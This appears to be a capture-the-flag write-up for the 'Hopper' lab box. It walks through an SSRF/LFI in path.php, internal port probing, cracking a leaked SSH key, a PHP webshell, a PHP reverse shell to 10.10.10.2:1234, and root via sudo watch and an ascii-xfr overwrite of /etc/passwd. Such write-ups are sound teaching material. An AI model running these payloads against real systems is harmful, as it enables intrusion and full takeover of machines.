This is Hopper. It’s Medium rated, I liked it (a lot), and I didn’t manage it all on my own. There are some important learnings here.

Ports

SSH and HTTP only.

HTTP

Fuzzing reveals our first target: http://10.10.10.54/advanced-search/. The page says:

Welcome to the private search
Here you will be able to load any page you want. You won’t have to worry about revealing your IP anymore!

We have a search box, which submits GET requests to page.php using the path parameter. I try to include a remote PHP shell and while the server will request and load the file, it doesn’t execute/include it.

GET /advanced-search/path.php?path=http%3A%2F%2F10.10.10.2%3A9090%2Fshell.php

We can request localhost URLs, which suggests SSRF. I try various path traversals, but can’t get upstream of the webroot.

We have an LFI using the file parameter, e.g:

/advanced-search/path.php?path=file:///etc/passwd

We have two users, edward and henry. We can use the LFI to get /var/log/wtmp and it appears henry has never logged in, so presumably we want edward.

┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# last -f ./wtmp                                                                      
reboot   system boot  4.19.0-17-amd64  Wed Jan  5 20:01   still running
root     tty1                          Thu Jul 29 13:19 - down   (00:01)
reboot   system boot  4.19.0-17-amd64  Thu Jul 29 13:17 - 13:20  (00:03)
reboot   system boot  4.19.0-17-amd64  Wed Jul 28 05:50 - 13:20 (1+07:30)
root     tty1                          Wed Jul 28 05:49 - down   (00:00)
edward   pts/1        192.168.1.75     Wed Jul 28 05:39 - 05:49  (00:10)
# etc

I can’t read id_rsa, or even .bashrc or .profile for either of our users, so that’s not much good anyway. I run the seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt wordlist against the server but don’t find anything super useful.

This wordlist does not include /proc/net/tcp, which for seclists is only included in LFI-Jhaddix.txt. If we do include it, we get several entries:

0: 0100007F:08AE 00000000:0000 ...trimmed
1: 00000000:0016 00000000:0000 ...trimmed
2: 360A0A0A:C312 020A0A0A:04D2 ...trimmed

We can decode these with this Perl script from here if we want:

#!/usr/bin/perl

my $hexip=$ARGV[0];
my $hexport=$ARGV[1];

print "hex: $hexip\n";

my @ip = map hex($_), ( $hexip =~ m/../g );

my $ip = join('.',reverse(@ip));

my $port = hex($hexport);

print "IP: $ip  PORT: $port\n";

And if we do then we get this:

┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./decode.pl 0100007F 08AE
hex: 0100007F
IP: 127.0.0.1  PORT: 2222
                           
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./decode.pl 00000000 0016
hex: 00000000
IP: 0.0.0.0  PORT: 22
                           
┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./decode.pl 360A0A0A C312
hex: 360A0A0A
IP: 10.10.10.54  PORT: 49938

So we can see there is an open port (2222) accessible via localhost and indeed our vector is SSRF via an internal webserver.

I also saw a python script on another writeup used to probe all ports rather than querying for /proc/net/tcp; that’s like this:

#!/usr/bin/python3

import requests

for port in range(1,65535):
  res = requests.get('http://10.10.10.54/advanced-search/path.php?path=http://localhost:%d' % port)
  if len(res.text) == 0:
    continue
  else: 
    print('-----------------------')
	print('port %d\n' % port)
    print(res.text)
    print('-----------------------')

This script also finds the open port:

┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ./probe.py   
-----------------------
port 22

SSH-2.0-OpenSSH_7.9p1 Debian-10+deb10u2
Protocol mismatch.

-----------------------
-----------------------
port 80

<head>
<link href="style.css" rel="stylesheet">
</head>
<div class="img"></div>

-----------------------
-----------------------
port 2222

<!DOCTYPE html>
<html>
<body>

<h1>[+] WARNING</h1>

<p> - Private corporative web server</p>

<p> - If you are non organization personal, leave immediately</p>


</body>
</html> 


-----------------------

Next, we need to fuzz the port to see what we can find. Normally I use feroxbuster for this sort of thing but it doesn’t quite have the control needed, so it’s ffuf instead.

┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt -u http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/FUZZ -fc 403 -ac -v -fw 18

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.0-dev'
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
 :: Filter           : Response words: 18,51
 :: Filter           : Response size: 558
 :: Filter           : Response lines: 7
 :: Filter           : Response status: 403
________________________________________________

[Status: 200, Size: 1751, Words: 9, Lines: 31]
| URL | http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/backup
    * FUZZ: backup

[Status: 200, Size: 0, Words: 1, Lines: 1]
| URL | http://10.10.10.54/advanced-search/path.php?path=http://localhost:2222/lost+found
    * FUZZ: lost+found

:: Progress: [4702/4702] :: Job [1/1] :: 476 req/sec :: Duration: [0:00:14] :: Errors: 0 ::

The /backup file was an SSH key (encrypted) for our user edward. We can break this with john in the usual way and log in. Once inside, there isn’t actually much to find - and that’s the second interesting part about this challenge: sometimes you have to go backwards to go forwards.

We have write access to /var/www/html and that means we can create a webshell and send ourselves a reverse shell:

edward@hopper:~$ cd /var/www/html
edward@hopper:/var/www/html$ ls -lash
total 108K
4,0K drwxrwxrwx 3 root root 4,0K jul 28 11:41 .
4,0K drwxr-xr-x 3 root root 4,0K jul 27 12:32 ..
4,0K drwxrwxrwx 2 root root 4,0K jul 27 14:50 advanced-search
 88K -rwxrwxrwx 1 root root  87K mar 15  2016 image.jpg
4,0K -rwxrwxrwx 1 root root   80 jul 27 14:27 index.html
4,0K -rwxrwxrwx 1 root root  104 jul 27 14:28 style.css
edward@hopper:/var/www/html$ printf '<?php system($_GET['cmd']);?>' > webshell.php
edward@hopper:/var/www/html$ chmod +x webshell.php 
edward@hopper:/var/www/html$ exit

and

http://10.10.10.54/webshell.php?cmd=php+-r+%27$sock%3dfsockopen(%2210.10.10.2%22,1234)%3bexec(%22/bin/sh+-i+%3C%263+%3E%263+2%3E%263%22)%3b%27

and

┌──(root💀kali)-[/opt/hackmyvm/hopper]
└─# nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.10.2] from (UNKNOWN) [10.10.10.54] 49938
/bin/sh: 0: cant access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
www-data@hopper:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on hopper:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on hopper:
    (henry) NOPASSWD: /usr/bin/watch
www-data@hopper:/var/www/html$ sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
< /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
Error opening terminal: unknown.
www-data@hopper:/var/www/html$ export TERM=xterm 
export TERM=xterm
www-data@hopper:/var/www/html$ sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
sudo -u henry /usr/bin/watch -x sh -c 'reset; exec sh 1>&0 2>&0'
$ id
id
uid=1001(henry) gid=1001(henry) groups=1001(henry)
$ python3 -c 'import pty;pty.spawn("/bin/bash");'
python3 -c 'import pty;pty.spawn("/bin/bash");'
henry@hopper:/var/www/html$ sudo -l
sudo -l
Matching Defaults entries for henry on hopper:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User henry may run the following commands on hopper:
    (root) NOPASSWD: /usr/bin/ascii-xfr

So the last parts of this box are watch (GTFOBins) and ascii-xfr. ascii-xfr is used to:

upload/download files using the ASCII protocol

I make a copy of /etc/passwd and then overwrite the original, like so:

henry@hopper:~$ cp /etc/passwd passwd
cp /etc/passwd passwd
henry@hopper:~$ echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> passwd
echo "root2:WVLY0mgH0RtUI:0:0:root:/root:/bin/bash" >> passwd
henry@hopper:~$ sudo -u root /usr/bin/ascii-xfr -r /etc/passwd < ./passwd
sudo -u root /usr/bin/ascii-xfr -r /etc/passwd < ./passwd
ASCII download of "/etc/passwd"
henry@hopper:
henry@hopper:~$ su root2
su root2
Password: mrcake

root@hopper:/home/henry# id;hostname;date
id;hostname;date
uid=0(root) gid=0(root) grupos=0(root)
hopper
jue ene  6 07:04:59 CET 2022
root@hopper:/home/henry#

And that was that! I definitely had to get a couple of hints for this one. Out of interest, the internal webserver running on Port 2222 was run like so:

root@hopper:~# cat start.sh
cat start.sh
#!/bin/bash

/usr/bin/php -S 127.0.0.1:2222 -t /root/server/ &> /dev/null &
sleep 2
chmod -R 777 /var/www/*
sleep 1
chmod -R 700 /root/*
sleep 1
chmod -R 700 /home/*
sleep 1
chmod -R 600 /home/edward/.ssh/*
sleep 1
echo " " > /var/log/apache2/access.log
sleep 1
echo " " > /var/log/apache2/error.log
sleep 1
echo " " > /var/log/auth.log
sleep 1
exit 0

root@hopper:~#